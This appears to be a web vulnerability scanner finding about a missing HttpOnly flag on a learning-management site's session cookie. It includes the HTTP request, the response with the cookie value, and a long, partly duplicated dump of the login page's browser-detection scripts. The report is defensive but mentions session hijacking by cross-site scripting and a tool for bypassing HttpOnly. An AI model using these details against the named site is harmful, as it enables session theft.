Geneva, Arial, Helvetica, sans-serif; font-size: 12px; border: #A9C2C1; font-weight: bold; color: #FF0000; text-align: left; text-indent: 2pt; vertical-align: middle; } .TitleGreen { font-family: Geneva, Arial, Helvetica, sans-serif; font-size: 12px; border: #A9C2C1; font-weight: bold; color: #00AA00; text-align: left; text-indent: 2pt; vertical-align: middle; } .AnnouncementTitleBold { font-family: Geneva, Arial, Helvetica, sans-serif; font-size: 14px; border: #A9C2C1; font-weight: bold; color: #38504F; text-align: left; text-indent: 2pt; vertical-align: middle; } </style> <script> <!-- // Everything you always wanted to know about your JavaScript client // but were afraid to ask. Creates "is_" variables indicating: // (1) browser vendor: // is_nav, is_ie, is_opera, is_hotjava, is_webtv, is_TVNavigator, is_AOLTV // (2) browser version number: // is_major (integer indicating major version number: 2, 3, 4 ...) // is_minor (float indicating full version number: 2.02, 3.01, 4.04 ...) // (3) browser vendor AND major version number // is_nav2, is_nav3, is_nav4, is_nav4up, is_nav6, is_nav6up, is_gecko, is_ie3, // is_ie4, is_ie4up, is_ie5, is_ie5up, is_ie5_5, is_ie5_5up, is_ie6, is_ie6up, is_hotjava3, is_hotjava3up, // is_opera2, is_opera3, is_opera4, is_opera5, is_opera5up // (4) JavaScript version number: // is_js (float indicating full JavaScript version number: 1, 1.1, 1.2 ...) // (5) OS platform and version: // is_win, is_win16, is_win32, is_win31, is_win95, is_winnt, is_win98, is_winme, is_win2k // is_os2 // is_mac, is_mac68k, is_macppc // is_unix // is_sun, is_sun4, is_sun5, is_suni86 // is_irix, is_irix5, is_irix6 // is_hpux, is_hpux9, is_hpux10 // is_aix, is_aix1, is_aix2, is_aix3, is_aix4 // is_linux, is_sco, is_unixware, is_mpras, is_reliant // is_dec, is_sinix, is_freebsd, is_bsd // is_vms // // See http://www.it97.de/JavaScript/JS_tutorial/bstat/navobj.html and // http://www.it97.de/JavaScript/JS_tutorial/bstat/Browseraol.html // for detailed lists of userAgent strings. // // Note: you don't want your Nav4 or IE4 code to "turn off" or // stop working when new versions of browsers are released, so // in conditional code forks, use is_ie5up ("IE 5.0 or greater") // is_opera5up ("Opera 5.0 or greater") instead of is_ie5 or is_opera5 // to check version in code which you want to work on future // versions. // convert all characters to lowercase to simplify testing var agt=navigator.userAgent.toLowerCase(); // *** BROWSER VERSION *** // Note: On IE5, these return 4, so use is_ie5up to detect IE5. var is_major = parseInt(navigator.appVersion); var is_minor = parseFloat(navigator.appVersion); // Note: Opera and WebTV spoof Navigator. We do strict client detection. // If you want to allow spoofing, take out the tests for opera and webtv. var is_nav = ((agt.indexOf('mozilla')!=-1) && (agt.indexOf('spoofer')==-1) && (agt.indexOf('compatible') == -1) && (agt.indexOf('opera')==-1) && (agt.indexOf('webtv')==-1) && (agt.indexOf('hotjava')==-1)); var is_nav2 = (is_nav && (is_major == 2)); var is_nav3 = (is_nav && (is_major == 3)); var is_nav4 = (is_nav && (is_major == 4)); var is_nav4up = (is_nav && (is_major >= 4)); var is_navonly = (is_nav && ((agt.indexOf(";nav") != -1) || (agt.indexOf("; nav") != -1)) ); var is_nav6 = (is_nav && (is_major == 5)); var is_nav6up = (is_nav && (is_major >= 5)); var is_gecko = (agt.indexOf('gecko') != -1); var is_ie = ((agt.indexOf("msie") != -1) && (agt.indexOf("opera") == -1)); var is_ie3 = (is_ie && (is_major < 4)); var is_ie4 = (is_ie && (is_major == 4) && (agt.indexOf("msie 4")!=-1) ); var is_ie4up = (is_ie && (is_major >= 4)); var is_ie5 = (is_ie && (is_major == 4) && (agt.indexOf("msie 5.0")!=-1) ); var is_ie5_5 = (is_ie && (is_major == 4) && (agt.indexOf("msie 5.5") !=-1)); var is_ie5up = (is_ie && !is_ie3 && !is_ie4); var is_ie5_5up =(is_ie && !is_ie3 && !is_ie4 && !is_ie5); var is_ie6 = (is_ie && (is_major == 4) && (agt.indexOf("msie 6.")!=-1) ); var is_ie6up = (is_ie && !is_ie3 && !is_ie4 && !is_ie5 && !is_ie5_5); var is_ie7 = (is_ie && (is_major == 4) && (agt.indexOf("msie 7.")!=-1) ); // KNOWN BUG: On AOL4, returns false if IE3 is embedded browser // or if this is the first browser window opened. Thus the // variables is_aol, is_aol3, and is_aol4 aren't 100% reliable. var is_aol = (agt.indexOf("aol") != -1); var is_aol3 = (is_aol && is_ie3); var is_aol4 = (is_aol && is_ie4); var is_aol5 = (agt.indexOf("aol 5") != -1); var is_aol6 = (agt.indexOf("aol 6") != -1); var is_opera = (agt.indexOf("opera") != -1); var is_opera2 = (agt.indexOf("opera 2") != -1 || agt.indexOf("opera/2") != -1); var is_opera3 = (agt.indexOf("opera 3") != -1 || agt.indexOf("opera/3") != -1); var is_opera4 = (agt.indexOf("opera 4") != -1 || agt.indexOf("opera/4") != -1); var is_opera5 = (agt.indexOf("opera 5") != -1 || agt.indexOf("opera/5") != -1); var is_opera5up = (is_opera && !is_opera2 && !is_opera3 && !is_opera4); var is_webtv = (agt.indexOf("webtv") != -1); var is_TVNavigator = ((agt.indexOf("navio") != -1) || (agt.indexOf("navio_aoltv") != -1)); var is_AOLTV = is_TVNavigator; var is_hotjava = (agt.indexOf("hotjava") != -1); var is_hotjava3 = (is_hotjava && (is_major == 3)); var is_hotjava3up = (is_hotjava && (is_major >= 3)); // *** JAVASCRIPT VERSION CHECK *** var is_js; if (is_nav2 || is_ie3) is_js = 1.0; else if (is_nav3) is_js = 1.1; else if (is_opera5up) is_js = 1.3; else if (is_opera) is_js = 1.1; else if ((is_nav4 && (is_minor <= 4.05)) || is_ie4) is_js = 1.2; else if ((is_nav4 && (is_minor > 4.05)) || is_ie5) is_js = 1.3; else if (is_hotjava3up) is_js = 1.4; else if (is_nav6 || is_gecko) is_js = 1.5; // NOTE: In the future, update this code when newer versions of JS // are released. For now, we try to provide some upward compatibility // so that future versions of Nav and IE will show they are at // *least* JS 1.x capable. Always check for JS version compatibility // with > or >=. else if (is_nav6up) is_js = 1.5; // NOTE: ie5up on mac is 1.4 else if (is_ie5up) is_js = 1.3 // HACK: no idea for other browsers; always check for JS version with > or >= else is_js = 0.0; // *** PLATFORM *** var is_win = ( (agt.indexOf("win")!=-1) || (agt.indexOf("16bit")!=-1) ); // NOTE: On Opera 3.0, the userAgent string includes "Windows 95/NT4" on all // Win32, so you can't distinguish between Win95 and WinNT. var is_win95 = ((agt.indexOf("win95")!=-1) || (agt.indexOf("windows 95")!=-1)); // is this a 16 bit compiled version? var is_win16 = ((agt.indexOf("win16")!=-1) || (agt.indexOf("16bit")!=-1) || (agt.indexOf("windows 3.1")!=-1) || (agt.indexOf("windows 16-bit")!=-1) ); var is_win31 = ((agt.indexOf("windows 3.1")!=-1) || (agt.indexOf("win16")!=-1) || (agt.indexOf("windows 16-bit")!=-1)); var is_winme = ((agt.indexOf("win 9x 4.90")!=-1)); var is_win2k = ((agt.indexOf("windows nt 5.0")!=-1)); // NOTE: Reliable detection of Win98 may not be possible. It appears that: // - On Nav 4.x and before you'll get plain "Windows" in userAgent. // - On Mercury client, the 32-bit version will return "Win98", but // the 16-bit version running on Win98 will still return "Win95". var is_win98 = ((agt.indexOf("win98")!=-1) || (agt.indexOf("windows 98")!=-1)); var is_winnt = ((agt.indexOf("winnt")!=-1) || (agt.indexOf("windows nt")!=-1)); var is_win32 = (is_win95 || is_winnt || is_win98 || ((is_major >= 4) && (navigator.platform == "Win32")) || (agt.indexOf("win32")!=-1) || (agt.indexOf("32bit")!=-1)); var is_os2 = ((agt.indexOf("os/2")!=-1) || (navigator.appVersion.indexOf("OS/2")!=-1) || (agt.indexOf("ibm-webexplorer")!=-1)); var is_mac = (agt.indexOf("mac")!=-1); // hack ie5 js version for mac if (is_mac && is_ie5up) is_js = 1.4; var is_mac68k = (is_mac && ((agt.indexOf("68k")!=-1) || (agt.indexOf("68000")!=-1))); var is_macppc = (is_mac && ((agt.indexOf("ppc")!=-1) || (agt.indexOf("powerpc")!=-1))); var is_sun = (agt.indexOf("sunos")!=-1); var is_sun4 = (agt.indexOf("sunos 4")!=-1); var is_sun5 = (agt.indexOf("sunos 5")!=-1); var is_suni86= (is_sun && (agt.indexOf("i86")!=-1)); var is_irix = (agt.indexOf("irix") !=-1); // SGI var is_irix5 = (agt.indexOf("irix 5") !=-1); var is_irix6 = ((agt.indexOf("irix 6") !=-1) || (agt.indexOf("irix6") !=-1)); var is_hpux = (agt.indexOf("hp-ux")!=-1); var is_hpux9 = (is_hpux && (agt.indexOf("09.")!=-1)); var is_hpux10= (is_hpux && (agt.indexOf("10.")!=-1)); var is_aix = (agt.indexOf("aix") !=-1); // IBM var is_aix1 = (agt.indexOf("aix 1") !=-1); var is_aix2 = (agt.indexOf("aix 2") !=-1); var is_aix3 = (agt.indexOf("aix 3") !=-1); var is_aix4 = (agt.indexOf("aix 4") !=-1); var is_linux = (agt.indexOf("inux")!=-1); var is_sco = (agt.indexOf("sco")!=-1) || (agt.indexOf("unix_sv")!=-1); var is_unixware = (agt.indexOf("unix_system_v")!=-1); var is_mpras = (agt.indexOf("ncr")!=-1); var is_reliant = (agt.indexOf("reliantunix")!=-1); var is_dec = ((agt.indexOf("dec")!=-1) || (agt.indexOf("osf1")!=-1) || (agt.indexOf("dec_alpha")!=-1) || (agt.indexOf("alphaserver")!=-1) || (agt.indexOf("ultrix")!=-1) || (agt.indexOf("alphastation")!=-1)); var is_sinix = (agt.indexOf("sinix")!=-1); var is_freebsd = (agt.indexOf("freebsd")!=-1); var is_bsd = (agt.indexOf("bsd")!=-1); var is_unix = ((agt.indexOf("x11")!=-1) || is_sun || is_irix || is_hpux || is_sco ||is_unixware || is_mpras || is_reliant || is_dec || is_sinix || is_aix || is_linux || is_bsd || is_freebsd); var is_vms = ((agt.indexOf("vax")!=-1) || (agt.indexOf("openvms")!=-1)); var is_java = (navigator.javaEnabled()) ? true : false; var is_cookie = (navigator.cookieEnabled) ? true : false; //--> end hide JavaScript </script> <script language="JavaScript"> // this is where we write out the VBScript for MSIE Windows var WM_startTagFix = '</'; var msie_windows = 0; if ((navigator.userAgent.indexOf('MSIE') != -1) && (navigator.userAgent.indexOf('Win') != -1)) { msie_windows = 1; document.writeln('<script language="VBscript">'); document.writeln('\'This will scan for plugins for all versions of Internet Explorer that have a VBscript engine version 2 or greater.'); document.writeln('\'This includes all versions of IE4 and beyond and some versions of IE 3.'); document.writeln('Dim WM_detect_through_vb'); document.writeln('WM_detect_through_vb = 0'); document.writeln('If ScriptEngineMajorVersion >= 2 then'); document.writeln(' WM_detect_through_vb = 1'); document.writeln('End If'); document.writeln('Function WM_activeXDetect(activeXname)'); document.writeln(' on error resume next'); document.writeln(' If ScriptEngineMajorVersion >= 2 then'); document.writeln(' WM_activeXDetect = False'); document.writeln(' WM_activeXDetect = IsObject(CreateObject(activeXname))'); document.writeln(' If (err) then'); document.writeln(' WM_activeXDetect = False'); document.writeln(' End If'); document.writeln(' Else'); document.writeln(' WM_activeXDetect = False'); document.writeln(' End If'); document.writeln('End Function'); document.writeln(WM_startTagFix+'script>'); } /* This script block will test all user agents that have a real plug-in array (i.e. Netscape) and set the variables, otherwise it directs the routine to WM_activeXDetect to detect the activeX control. */ function WM_pluginDetect(plugindescription, pluginxtension, pluginmime, activeXname) { var i,plugin_undetectable=0,detected=0, daPlugin=new Object(); /* Then we check to see if it's an MSIE browser that you can actually check for the plugin in question. */ if (msie_windows && WM_detect_through_vb){ plugin_undetectable = 0; } else { plugin_undetectable = 1; } /* If it has a real plugins or mimetypes array, we look there for the plugin first */ if(navigator.plugins) { numPlugins = navigator.plugins.length; if (numPlugins > 1) { if (navigator.mimeTypes && navigator.mimeTypes[pluginmime] && navigator.mimeTypes[pluginmime].enabledPlugin && (navigator.mimeTypes[pluginmime].suffixes.indexOf(pluginxtension) != -1)) { // seems like we have it, let's just make sure and check the version (if specified) if ((navigator.appName == 'Netscape') && (navigator.appVersion.indexOf('4.0') != -1)) { for(i in navigator.plugins) { if ((navigator.plugins[i].description.indexOf(plugindescription) != -1) || (i.indexOf(plugindescription) != -1)) { // some versions of quicktime have no description. feh! detected=1; break; } } } else { for (i = 0; i < numPlugins; i++) { daPlugin = navigator.plugins[i]; if ((daPlugin.description.indexOf(plugindescription) != -1) || (daPlugin.name.indexOf(plugindescription) != -1)) { detected=1; break; } } } // Mac weirdness if (navigator.mimeTypes[pluginmime] == null) { detected = 0; } } return detected; } else if((msie_windows == 1) && !plugin_undetectable) { return WM_activeXDetect(activeXname); } else { return 0; } } else { return 0; } } </script> <script> <!-- var hasFlash = WM_pluginDetect('Flash', 'swf', 'application/x-shockwave-flash', 'ShockwaveFlash.ShockwaveFlash'); var flashVersion = 0; if(WM_pluginDetect('Flash 9', 'swf','application/x-shockwave-flash','ShockwaveFlash.ShockwaveFlash.9')) { flashVersion = 9; }else if(WM_pluginDetect('Flash 8', 'swf','application/x-shockwave-flash','ShockwaveFlash.ShockwaveFlash.8')) { flashVersion = 8; }else if(WM_pluginDetect('Flash 7', 'swf','application/x-shockwave-flash','ShockwaveFlash.ShockwaveFlash.7')) { flashVersion = 7; }else if(WM_pluginDetect('Flash 6', 'swf','application/x-shockwave-flash','ShockwaveFlash.ShockwaveFlash.6')) { flashVersion = 6; } else if(WM_pluginDetect('Flash 5', 'swf','application/x-shockwave-flash','ShockwaveFlash.ShockwaveFlash.5')) { flashVersion = 5; } else if(WM_pluginDetect('Flash 4', 'swf','application/x-shockwave-flash','ShockwaveFlash.ShockwaveFlash.4')) { flashVersion = 4; } else if(WM_pluginDetect('Flash 3', 'swf','application/x-shockwave-flash', 'ShockwaveFlash.ShockwaveFlash.3')) { flashVersion = 3; } else if(WM_pluginDetect('Flash 2', 'swf','application/x-shockwave-flash', 'ShockwaveFlash.ShockwaveFlash.2')) { flashVersion = 2; } //--> var IBChk=false,IBVChk=false,CookiesChk=false,FlashPChk=false,JREChk=false,PopupBChk=false </script></head><body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0" onload="eval('do..
Cookie Not Marked As HttpOnly

Cookie Not Marked As HttpOnly
1 TOTAL
LOW
CONFIRMED
1
Cookie was not marked as HTTPOnly. HTTPOnly cookies can not be read by client-side scripts therefore marking a cookie as HTTPOnly can provide an additional layer of protection against Cross-site Scripting attacks..

Impact

During a Cross-site Scripting attack an attacker might easily access cookies and hijack the victim's session.

Actions to Take

  1. See the remedy for solution
  2. Consider marking all of the cookies used by the application as HTTPOnly (After these changes javascript code will not able to read cookies.

Remedy

Mark the cookie as HTTPOnly. This will be an extra layer of defence against XSS. However this is not a silver bullet and will not protect the system against Cross-site Scripting attacks. An attacker can use a tool such as XSS Tunnel to bypass HTTPOnly protection.

External References

- /

/ CONFIRMED

http://learn.bridgefront.com/

Identified Cookie

JSESSIONID

Request

GET / HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: learn.bridgefront.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Tue, 26 Apr 2011 01:16:45 GMT
Server: Apache/2.2.3 (Red Hat)
Set-Cookie: JSESSIONID=9E7B7DC5BD17EC41DDE53C50F28B0C6B; Path=/
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <title>BridgeFront | LMS | Login</title><link href="/lscheme/default/css/Learner.css" rel="stylesheet" type="text/css"><script type="text/javascript" src="/js/LearnerSideJsFunctions.js"></script><link rel="shortcut icon" href="favicon.ico"><script>var lmsDown = false; COPYRIGHT = "&copy; BridgeFront, 2002-"; function writeCopyright() { document.write(COPYRIGHT, new Date().getFullYear()); }function submitkeyform(){if (lmsDown){alert("LMS is currently down for routine maintenance on April 24, 2011, until noon PST.");return false;}if (!checkPreRequisites()){ alert("System Checks failed. Action Required on Prerequisites before you can access the LMS."); //return false; //CODE COMMENTED BY RAVIRAJ ON 27-10-2009 return true; //CODE ADDED BY RAVIRAJ ON 27-10-2009} if(document.getElementById("replace2_ul_").value==""){ document.getElementById("spanreplace2_ul_").innerHTML="Key cannot be empty"; return false; }else{ if(isAnyText(document.getElementById("replace2_ul_"),MANDATORY,"Reistration Key")){ return true; } } document.getElementById("replace2_ul_").value=""; return false; }function specialValidation(){if (lmsDown){alert("LMS is currently down for routine maintenance on April 24, 2011, until noon PST.");return false;}if (!checkPreRequisites()){ alert("System Checks failed. Action Required on Prerequisites before you can access the LMS."); //return false; //CODE COMMENTED BY RAVIRAJ ON 27-10-2009 return true; //CODE ADDED BY RAVIRAJ ON 27-10-2009} var val1, val2; var normalValidationFlag = true; val1 = document.getElementById('replace0_ul_').value; val2 = document.getElementById('replace1_ul_').value; if(val1==''){ document.getElementById("spanreplace0_ul_").innerHTML="Username cannot be empty"; normalValidationFlag = false; } if(val2==''){ document.getElementById("spanreplace1_ul_").innerHTML="Password cannot be empty"; normalValidationFlag = false; } return normalValidationFlag;}function checkPreRequisites(){if (!FlashPChk || !IBChk || !IBVChk || !CookiesChk){//return false; //CODE COMMENTED BY RAVIRAJ ON 27-10-2009return true; //CODE ADDED BY RAVIRAJ ON 27-10-2009}return true;}</script><noscript> <H1>Your browser does not support Javascript</H1>This page will not function correctly. </noscript> <style> .homepageborder{ border: 1px solid #A9C2C1; } .AnnouncementTitle { font-family: Geneva, Arial, Helvetica, sans-serif; font-size: 12px; border: #A9C2C1; font-weight: bold; color: #38504F; text-align: left; text-indent: 2pt; vertical-align: middle; } .TitleRed { font-family: Geneva, Arial, Helvetica, sans-serif; font-size: 12px; border: #A9C2C1; font-weight: bold; color: #FF0000; text-align: left; text-indent: 2pt; vertical-align: middle; } .TitleGreen { font-family: Geneva, Arial, Helvetica, sans-serif; font-size: 12px; border: #A9C2C1; font-weight: bold; color: #00AA00; text-align: left; text-indent: 2pt; vertical-align: middle; } .AnnouncementTitleBold { font-family: Geneva, Arial, Helvetica, sans-serif; font-size: 14px; border: #A9C2C1; font-weight: bold; color: #38504F; text-align: left; text-indent: 2pt; vertical-align: middle; } </style> <script> <!-- // Everything you always wanted to know about your JavaScript client // but were afraid to ask. Creates "is_" variables indicating: // (1) browser vendor: // is_nav, is_ie, is_opera, is_hotjava, is_webtv, is_TVNavigator, is_AOLTV // (2) browser version number: // is_major (integer indicating major version number: 2, 3, 4 ...) // is_minor (float indicating full version number: 2.02, 3.01, 4.04 ...) // (3) browser vendor AND major version number // is_nav2, is_nav3, is_nav4, is_nav4up, is_nav6, is_nav6up, is_gecko, is_ie3, // is_ie4, is_ie4up, is_ie5, is_ie5up, is_ie5_5, is_ie5_5up, is_ie6, is_ie6up, is_hotjava3, is_hotjava3up, // is_opera2, is_opera3, is_opera4, is_opera5, is_opera5up // (4) JavaScript version number: // is_js (float indicating full JavaScript version number: 1, 1.1, 1.2 ...) // (5) OS platform and version: // is_win, is_win16, is_win32, is_win31, is_win95, is_winnt, is_win98, is_winme, is_win2k // is_os2 // is_mac, is_mac68k, is_macppc // is_unix // is_sun, is_sun4, is_sun5, is_suni86 // is_irix, is_irix5, is_irix6 // is_hpux, is_hpux9, is_hpux10 // is_aix, is_aix1, is_aix2, is_aix3, is_aix4 // is_linux, is_sco, is_unixware, is_mpras, is_reliant // is_dec, is_sinix, is_freebsd, is_bsd // is_vms // // See http://www.it97.de/JavaScript/JS_tutorial/bstat/navobj.html and // http://www.it97.de/JavaScript/JS_tutorial/bstat/Browseraol.html // for detailed lists of userAgent strings. // // Note: you don't want your Nav4 or IE4 code to "turn off" or // stop working when new versions of browsers are released, so // in conditional code forks, use is_ie5up ("IE 5.0 or greater") // is_opera5up ("Opera 5.0 or greater") instead of is_ie5 or is_opera5 // to check version in code which you want to work on future // versions. // convert all characters to lowercase to simplify testing var agt=navigator.userAgent.toLowerCase(); // *** BROWSER VERSION *** // Note: On IE5, these return 4, so use is_ie5up to detect IE5. var is_major = parseInt(navigator.appVersion); var is_minor = parseFloat(navigator.appVersion); // Note: Opera and WebTV spoof Navigator. We do strict client detection. // If you want to allow spoofing, take out the tests for opera and webtv. var is_nav = ((agt.indexOf('mozilla')!=-1) && (agt.indexOf('spoofer')==-1) && (agt.indexOf('compatible') == -1) && (agt.indexOf('opera')==-1) && (agt.indexOf('webtv')==-1) && (agt.indexOf('hotjava')==-1)); var is_nav2 = (is_nav && (is_major == 2)); var is_nav3 = (is_nav && (is_major == 3)); var is_nav4 = (is_nav && (is_major == 4)); var is_nav4up = (is_nav && (is_major >= 4)); var is_navonly = (is_nav && ((agt.indexOf(";nav") != -1) || (agt.indexOf("; nav") != -1)) ); var is_nav6 = (is_nav && (is_major == 5)); var is_nav6up = (is_nav && (is_major >= 5)); var is_gecko = (agt.indexOf('gecko') != -1); var is_ie = ((agt.indexOf("msie") != -1) && (agt.indexOf("opera") == -1)); var is_ie3 = (is_ie && (is_major < 4)); var is_ie4 = (is_ie && (is_major == 4) && (agt.indexOf("msie 4")!=-1) ); var is_ie4up = (is_ie && (is_major >= 4)); var is_ie5 = (is_ie && (is_major == 4) && (agt.indexOf("msie 5.0")!=-1) ); var is_ie5_5 = (is_ie && (is_major == 4) && (agt.indexOf("msie 5.5") !=-1)); var is_ie5up = (is_ie && !is_ie3 && !is_ie4); var is_ie5_5up =(is_ie && !is_ie3 && !is_ie4 && !is_ie5); var is_ie6 = (is_ie && (is_major == 4) && (agt.indexOf("msie 6.")!=-1) ); var is_ie6up = (is_ie && !is_ie3 && !is_ie4 && !is_ie5 && !is_ie5_5); var is_ie7 = (is_ie && (is_major == 4) && (agt.indexOf("msie 7.")!=-1) ); // KNOWN BUG: On AOL4, returns false if IE3 is embedded browser // or if this is the first browser window opened. Thus the // variables is_aol, is_aol3, and is_aol4 aren't 100% reliable. var is_aol = (agt.indexOf("aol") != -1); var is_aol3 = (is_aol && is_ie3); var is_aol4 = (is_aol && is_ie4); var is_aol5 = (agt.indexOf("aol 5") != -1); var is_aol6 = (agt.indexOf("aol 6") != -1); var is_opera = (agt.indexOf("opera") != -1); var is_opera2 = (agt.indexOf("opera 2") != -1 || agt.indexOf("opera/2") != -1); var is_opera3 = (agt.indexOf("opera 3") != -1 || agt.indexOf("opera/3") != -1); var is_opera4 = (agt.indexOf("opera 4") != -1 || agt.indexOf("opera/4") != -1); var is_opera5 = (agt.indexOf("opera 5") != -1 || agt.indexOf("opera/5") != -1); var is_opera5up = (is_opera && !is_opera2 && !is_opera3 && !is_opera4); var is_webtv = (agt.indexOf("webtv") != -1); var is_TVNavigator = ((agt.indexOf("navio") != -1) || (agt.indexOf("navio_aoltv") != -1)); var is_AOLTV = is_TVNavigator; var is_hotjava = (agt.indexOf("hotjava") != -1); var is_hotjava3 = (is_hotjava && (is_major == 3)); var is_hotjava3up = (is_hotjava && (is_major >= 3)); // *** JAVASCRIPT VERSION CHECK *** var is_js; if (is_nav2 || is_ie3) is_js = 1.0; else if (is_nav3) is_js = 1.1; else if (is_opera5up) is_js = 1.3; else if (is_opera) is_js = 1.1; else if ((is_nav4 && (is_minor <= 4.05)) || is_ie4) is_js = 1.2; else if ((is_nav4 && (is_minor > 4.05)) || is_ie5) is_js = 1.3; else if (is_hotjava3up) is_js = 1.4; else if (is_nav6 || is_gecko) is_js = 1.5; // NOTE: In the future, update this code when newer versions of JS // are released. For now, we try to provide some upward compatibility // so that future versions of Nav and IE will show they are at // *least* JS 1.x capable. Always check for JS version compatibility // with > or >=. else if (is_nav6up) is_js = 1.5; // NOTE: ie5up on mac is 1.4 else if (is_ie5up) is_js = 1.3 // HACK: no idea for other browsers; always check for JS version with > or >= else is_js = 0.0; // *** PLATFORM *** var is_win = ( (agt.indexOf("win")!=-1) || (agt.indexOf("16bit")!=-1) ); // NOTE: On Opera 3.0, the userAgent string includes "Windows 95/NT4" on all // Win32, so you can't distinguish between Win95 and WinNT. var is_win95 = ((agt.indexOf("win95")!=-1) || (agt.indexOf("windows 95")!=-1)); // is this a 16 bit compiled version? var is_win16 = ((agt.indexOf("win16")!=-1) || (agt.indexOf("16bit")!=-1) || (agt.indexOf("windows 3.1")!=-1) || (agt.indexOf("windows 16-bit")!=-1) ); var is_win31 = ((agt.indexOf("windows 3.1")!=-1) || (agt.indexOf("win16")!=-1) || (agt.indexOf("windows 16-bit")!=-1)); var is_winme = ((agt.indexOf("win 9x 4.90")!=-1)); var is_win2k = ((agt.indexOf("windows nt 5.0")!=-1)); // NOTE: Reliable detection of Win98 may not be possible. It appears that: // - On Nav 4.x and before you'll get plain "Windows" in userAgent. // - On Mercury client, the 32-bit version will return "Win98", but // the 16-bit version running on Win98 will still return "Win95". var is_win98 = ((agt.indexOf("win98")!=-1) || (agt.indexOf("windows 98")!=-1)); var is_winnt = ((agt.indexOf("winnt")!=-1) || (agt.indexOf("windows nt")!=-1)); var is_win32 = (is_win95 || is_winnt || is_win98 || ((is_major >= 4) && (navigator.platform == "Win32")) || (agt.indexOf("win32")!=-1) || (agt.indexOf("32bit")!=-1)); var is_os2 = ((agt.indexOf("os/2")!=-1) || (navigator.appVersion.indexOf("OS/2")!=-1) || (agt.indexOf("ibm-webexplorer")!=-1)); var is_mac = (agt.indexOf("mac")!=-1); // hack ie5 js version for mac if (is_mac && is_ie5up) is_js = 1.4; var is_mac68k = (is_mac && ((agt.indexOf("68k")!=-1) || (agt.indexOf("68000")!=-1))); var is_macppc = (is_mac && ((agt.indexOf("ppc")!=-1) || (agt.indexOf("powerpc")!=-1))); var is_sun = (agt.indexOf("sunos")!=-1); var is_sun4 = (agt.indexOf("sunos 4")!=-1); var is_sun5 = (agt.indexOf("sunos 5")!=-1); var is_suni86= (is_sun && (agt.indexOf("i86")!=-1)); var is_irix = (agt.indexOf("irix") !=-1); // SGI var is_irix5 = (agt.indexOf("irix 5") !=-1); var is_irix6 = ((agt.indexOf("irix 6") !=-1) || (agt.indexOf("irix6") !=-1)); var is_hpux = (agt.indexOf("hp-ux")!=-1); var is_hpux9 = (is_hpux && (agt.indexOf("09.")!=-1)); var is_hpux10= (is_hpux && (agt.indexOf("10.")!=-1)); var is_aix = (agt.indexOf("aix") !=-1); // IBM var is_aix1 = (agt.indexOf("aix 1") !=-1); var is_aix2 = (agt.indexOf("aix 2") !=-1); var is_aix3 = (agt.indexOf("aix 3") !=-1); var is_aix4 = (agt.indexOf("aix 4") !=-1); var is_linux = (agt.indexOf("inux")!=-1); var is_sco = (agt.indexOf("sco")!=-1) || (agt.indexOf("unix_sv")!=-1); var is_unixware = (agt.indexOf("unix_system_v")!=-1); var is_mpras = (agt.indexOf("ncr")!=-1); var is_reliant = (agt.indexOf("reliantunix")!=-1); var is_dec = ((agt.indexOf("dec")!=-1) || (agt.indexOf("osf1")!=-1) || (agt.indexOf("dec_alpha")!=-1) || (agt.indexOf("alphaserver")!=-1) || (agt.indexOf("ultrix")!=-1) || (agt.indexOf("alphastation")!=-1)); var is_sinix = (agt.indexOf("sinix")!=-1); var is_freebsd = (agt.indexOf("freebsd")!=-1); var is_bsd = (agt.indexOf("bsd")!=-1); var is_unix = ((agt.indexOf("x11")!=-1) || is_sun || is_irix || is_hpux || is_sco ||is_unixware || is_mpras || is_reliant || is_dec || is_sinix || is_aix || is_linux || is_bsd || is_freebsd); var is_vms = ((agt.indexOf("vax")!=-1) || (agt.indexOf("openvms")!=-1)); var is_java = (navigator.javaEnabled()) ? true : false; var is_cookie = (navigator.cookieEnabled) ? true : false; //--> end hide JavaScript </script> <script language="JavaScript"> // this is where we write out the VBScript for MSIE Windows var WM_startTagFix = '</'; var msie_windows = 0; if ((navigator.userAgent.indexOf('MSIE') != -1) && (navigator.userAgent.indexOf('Win') != -1)) { msie_windows = 1; document.writeln('<script language="VBscript">'); document.writeln('\'This will scan for plugins for all versions of Internet Explorer that have a VBscript engine version 2 or greater.'); document.writeln('\'This includes all versions of IE4 and beyond and some versions of IE 3.'); document.writeln('Dim WM_detect_through_vb'); document.writeln('WM_detect_through_vb = 0'); document.writeln('If ScriptEngineMajorVersion >= 2 then'); document.writeln(' WM_detect_through_vb = 1'); document.writeln('End If'); document.writeln('Function WM_activeXDetect(activeXname)'); document.writeln(' on error resume next'); document.writeln(' If ScriptEngineMajorVersion >= 2 then'); document.writeln(' WM_activeXDetect = False'); document.writeln(' WM_activeXDetect = IsObject(CreateObject(activeXname))'); document.writeln(' If (err) then'); document.writeln(' WM_activeXDetect = False'); document.writeln(' End If'); document.writeln(' Else'); document.writeln(' WM_activeXDetect = False'); document.writeln(' End If'); document.writeln('End Function'); document.writeln(WM_startTagFix+'script>'); } /* This script block will test all user agents that have a real plug-in array (i.e. Netscape) and set the variables, otherwise it directs the routine to WM_activeXDetect to detect the activeX control. */ function WM_pluginDetect(plugindescription, pluginxtension, pluginmime, activeXname) { var i,plugin_undetectable=0,detected=0, daPlugin=new Object(); /* Then we check to see if it's an MSIE browser that you can actually check for the plugin in question. */ if (msie_windows && WM_detect_through_vb){ plugin_undetectable = 0; } else { plugin_undetectable = 1; } /* If it has a real plugins or mimetypes array, we look there for the plugin first */ if(navigator.plugins) { numPlugins = navigator.plugins.length; if (numPlugins > 1) { if (navigator.mimeTypes && navigator.mimeTypes[pluginmime] && navigator.mimeTypes[pluginmime].enabledPlugin && (navigator.mimeTypes[pluginmime].suffixes.indexOf(pluginxtension) != -1)) { // seems like we have it, let's just make sure and check the version (if specified) if ((navigator.appName == 'Netscape') && (navigator.appVersion.indexOf('4.0') != -1)) { for(i in navigator.plugins) { if ((navigator.plugins[i].description.indexOf(plugindescription) != -1) || (i.indexOf(plugindescription) != -1)) { // some versions of quicktime have no description. feh! detected=1; break; } } } else { for (i = 0; i < numPlugins; i++) { daPlugin = navigator.plugins[i]; if ((daPlugin.description.indexOf(plugindescription) != -1) || (daPlugin.name.indexOf(plugindescription) != -1)) { detected=1; break; } } } // Mac weirdness if 